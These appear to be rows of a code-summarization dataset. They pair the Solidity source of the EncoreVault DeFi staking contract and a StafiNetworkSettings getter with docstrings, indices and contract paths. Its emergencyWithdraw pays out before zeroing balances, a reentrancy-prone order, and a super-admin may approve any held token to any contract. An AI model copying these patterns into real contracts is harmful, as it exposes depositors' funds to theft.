_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Encore Vault distributes fees equally amongst staked pools
// Have fun reading it. Hopefully it's bug-free. God bless.
contract EncoreVault is OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeMath for uint;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of ENCOREs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accEncorePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws tokens to a pool. Here's what happens:
// 1. The pool's `accEncorePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. ENCOREs to distribute per block.
uint256 accEncorePerShare; // Accumulated ENCOREs per share, times 1e12. See below.
bool withdrawable; // Is this pool withdrawable?
bool depositable; // Is this pool depositable?
mapping(address => mapping(address => uint256)) allowance;
}
// The ENCORE TOKEN!
INBUNIERC20 public encore;
// Dev address.
address public devaddr;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
//// pending rewards awaiting anyone to massUpdate
uint256 public pendingRewards;
uint256 public contractStartBlock;
uint256 public epochCalculationStartBlock;
uint256 public cumulativeRewardsSinceStart;
uint256 public rewardsInThisEpoch;
uint public epoch;
address public ENCOREETHLPBurnAddress;
mapping(address=>bool) public voidWithdrawList;
// Returns fees generated since start of this contract
function averageFeesPerBlockSinceStart() external view returns (uint averagePerBlock) {
averagePerBlock = cumulativeRewardsSinceStart.add(rewardsInThisEpoch).div(block.number.sub(contractStartBlock));
}
// Returns averge fees in this epoch
function averageFeesPerBlockEpoch() external view returns (uint256 averagePerBlock) {
averagePerBlock = rewardsInThisEpoch.div(block.number.sub(epochCalculationStartBlock));
}
// For easy graphing historical epoch rewards
mapping(uint => uint256) public epochRewards;
//Starts a new calculation epoch
// Because averge since start will not be accurate
function startNewEpoch() public {
require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week
epochRewards[epoch] = rewardsInThisEpoch;
cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.add(rewardsInThisEpoch);
rewardsInThisEpoch = 0;
epochCalculationStartBlock = block.number;
++epoch;
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
event Approval(address indexed owner, address indexed spender, uint256 _pid, uint256 value);
function initialize(
INBUNIERC20 _encore,
address _devaddr,
address superAdmin
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
DEV_FEE = 1666;
encore = _encore;
devaddr = _devaddr;
contractStartBlock = block.number;
_superAdmin = superAdmin;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new token pool. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing ENCORE governance consensus
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
bool _withdrawable,
bool _depositable
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token,"Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accEncorePerShare: 0,
withdrawable : _withdrawable,
depositable : _depositable
})
);
}
// Update the given pool's ENCOREs allocation point. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing ENCORE governance consensus
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Update the given pool's ability to withdraw tokens
// Note contract owner is meant to be a governance contract allowing ENCORE governance consensus
function setPoolWithdrawable(
uint256 _pid,
bool _withdrawable
) public onlyOwner {
poolInfo[_pid].withdrawable = _withdrawable;
}
function setPoolDepositable(
uint256 _pid,
bool _depositable
) public onlyOwner {
poolInfo[_pid].depositable = _depositable;
}
// Note contract owner is meant to be a governance contract allowing ENCORE governance consensus
uint16 public DEV_FEE;
function setDevFee(uint16 _DEV_FEE) public onlyOwner {
require(_DEV_FEE <= 2000, 'Dev fee clamped at 20%');
DEV_FEE = _DEV_FEE;
}
uint256 pending_DEV_rewards;
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
console.log("Mass Updating Pools");
uint256 length = poolInfo.length;
uint allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.add(updatePool(pid));
}
pendingRewards = pendingRewards.sub(allRewards);
}
function editVoidWithdrawList(address _user, bool _voidfee) public onlyOwner {
voidWithdrawList[_user] = _voidfee;
}
// ----
// Function that adds pending rewards, called by the ENCORE token.
// ----
uint256 private encoreBalance;
function addPendingRewards(uint256 _) public {
uint256 newRewards = encore.balanceOf(address(this)).sub(encoreBalance);
if(newRewards > 0) {
encoreBalance = encore.balanceOf(address(this)); // If there is no change the balance didn't change
pendingRewards = pendingRewards.add(newRewards);
rewardsInThisEpoch = rewardsInThisEpoch.add(newRewards);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public returns (uint256 encoreRewardWhole) {
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) { // avoids division by 0 errors
return 0;
}
encoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation
.mul(pool.allocPoint) // getting the percent of total pending rewards this pool should get
.div(totalAllocPoint); // we can do this because pools are only mass updated
uint256 encoreRewardFee = encoreRewardWhole.mul(DEV_FEE).div(10000);
uint256 encoreRewardToDistribute = encoreRewardWhole.sub(encoreRewardFee);
pending_DEV_rewards = pending_DEV_rewards.add(encoreRewardFee);
pool.accEncorePerShare = pool.accEncorePerShare.add(
encoreRewardToDistribute.mul(1e12).div(tokenSupply)
);
}
function safeFixUnits(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
user.rewardDebt = user.amount.mul(pool.accEncorePerShare).div(1e12);
}
// Deposit tokens to EncoreVault for ENCORE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(pool.depositable == true, "Depositing into this pool is disabled");
massUpdatePools();
// Transfer pending tokens
// to user
updateAndPayOutPending(_pid, msg.sender);
//Transfer in the amounts from user
// save gas
if(_amount > 0) {
pool.token.transferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accEncorePerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Test coverage
// [x] Does user get the deposited amounts?
// [x] Does user that its deposited for update correcty?
// [x] Does the depositor get their tokens decreased
function depositFor(address depositFor, uint256 _pid, uint256 _amount) public {
// requires no allowances
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][depositFor];
massUpdatePools();
require(pool.depositable == true, "Depositing into this pool is disabled");
// Transfer pending tokens
// to user
updateAndPayOutPending(_pid, depositFor); // Update the balances of person that amount is being deposited for
if(_amount > 0) {
pool.token.transferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount); // This is depositedFor address
}
user.rewardDebt = user.amount.mul(pool.accEncorePerShare).div(1e12); /// This is deposited for address
emit Deposit(depositFor, _pid, _amount);
}
// Test coverage
// [x] Does allowance update correctly?
function setAllowanceForPoolToken(address spender, uint256 _pid, uint256 value) public {
PoolInfo storage pool = poolInfo[_pid];
pool.allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, _pid, value);
}
function setENCOREETHLPBurnAddress(address _burn) public onlyOwner {
ENCOREETHLPBurnAddress = _burn;
}
// Test coverage
// [x] Does allowance decrease?
// [x] Do oyu need allowance
// [x] Withdraws to correct address
function withdrawFrom(address owner, uint256 _pid, uint256 _amount) public{
PoolInfo storage pool = poolInfo[_pid];
require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance");
pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].sub(_amount);
_withdraw(_pid, _amount, owner, msg.sender);
}
// Withdraw tokens from EncoreVault.
function withdraw(uint256 _pid, uint256 _amount) public {
_withdraw(_pid, _amount, msg.sender, msg.sender);
}
function claim(uint256 _pid) public {
_withdraw(_pid, 0, msg.sender,msg.sender);
}
// Low level withdraw function
function _withdraw(uint256 _pid, uint256 _amount, address from, address to) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][from];
massUpdatePools();
updateAndPayOutPending(_pid, from); // Update balances of from this is not withdrawal but claiming ENCORE farmed
if(_amount > 0) {
require(pool.withdrawable, "Withdrawing from this pool is disabled");
user.amount = user.amount.sub(_amount, "Insufficient balance");
if(_pid == 0) {
if(voidWithdrawList[to] || ENCOREETHLPBurnAddress == address(0)) {
pool.token.transfer(address(to), _amount);
} else {
pool.token.transfer(address(to), _amount.mul(95).div(100));
pool.token.transfer(address(ENCOREETHLPBurnAddress), _amount.mul(5).div(100));
}
} else {
pool.token.transfer(address(to), _amount);
}
}
user.rewardDebt = user.amount.mul(pool.accEncorePerShare).div(1e12);
emit Withdraw(to, _pid, _amount);
}
function updateAndPayOutPending(uint256 _pid, address from) internal {
uint256 pending = pendingENCORE(_pid, from);
if(pending > 0) {
safeEncoreTransfer(from, pending);
}
}
function pendingENCORE(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accEncorePerShare = pool.accEncorePerShare;
return user.amount.mul(accEncorePerShare).div(1e12).sub(user.rewardDebt);
}
// function that lets owner/governance contract
// approve allowance for any token inside this contract
// This means all future UNI like airdrops are covered
// And at the same time allows us to give allowance to strategy contracts.
// Upcoming cYFI etc vaults strategy contracts will se this function to manage and farm yield on value locked
function setStrategyContractOrDistributionContractAllowance(address tokenAddress, uint256 _amount, address contractAddress) public onlySuperAdmin {
require(isContract(contractAddress), "Recipent is not a smart contract, BAD");
require(block.number > contractStartBlock.add(95_000), "Governance setup grace period not over"); // about 2weeks
IERC20(tokenAddress).approve(contractAddress, _amount);
}
function isContract(address addr) public returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
// !Caution this will remove all your pending rewards!
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.transfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
// No mass update dont update pending rewards
}
// Safe encore transfer function, just in case if rounding error causes pool to not have enough ENCOREs.
function safeEncoreTransfer(address _to, uint256 _amount) internal {
if(_amount == 0) return;
uint256 encoreBal = encore.balanceOf(address(this));
encore.transfer(_to, _amount);
encoreBalance = encore.balanceOf(address(this));
if(pending_DEV_rewards > 0) {
uint256 devSend = pending_DEV_rewards; // Avoid recursive loop
pending_DEV_rewards = 0;
safeEncoreTransfer(devaddr, devSend);
}
}
function stakedTokens(uint256 _pid, address _user) public view returns (uint256) {
UserInfo storage user = userInfo[_pid][_user];
return user.amount;
}
// Update dev address by the previous dev.
function setDevFeeReciever(address _devaddr) public onlyOwner {
devaddr = _devaddr;
}
address private _superAdmin;
event SuperAdminTransfered(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current super admin
*/
function superAdmin() public view returns (address) {
return _superAdmin;
}
/**
* @dev Throws if called by any account other than the superAdmin
*/
modifier onlySuperAdmin() {
require(_superAdmin == _msgSender(), "Super admin : caller is not super admin.");
_;
}
// Assisns super admint to address 0, making it unreachable forever
function burnSuperAdmin() public virtual onlySuperAdmin {
emit SuperAdminTransfered(_superAdmin, address(0));
_superAdmin = address(0);
}
// Super admin can transfer its powers to another address
function newSuperAdmin(address newOwner) public virtual onlySuperAdmin {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit SuperAdminTransfered(_superAdmin, newOwner);
_superAdmin = newOwner;
}
}
|
Withdraw without caring about rewards. EMERGENCY ONLY. !Caution this will remove all your pending rewards! No mass update dont update pending rewards
|
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.transfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
| 299,377 |
./full_match/1/0x1a5474e63519Bf47860856F03f414445382DC3f1/sources/localhost/contracts/settings/StafiNetworkSettings.sol
|
The node refund commission rate as a fraction of 1 ether
|
function getNodeRefundRatio() override public view returns (uint256) {
return getUintS("settings.network.node.refund.ratio");
}
| 17,101,492 |
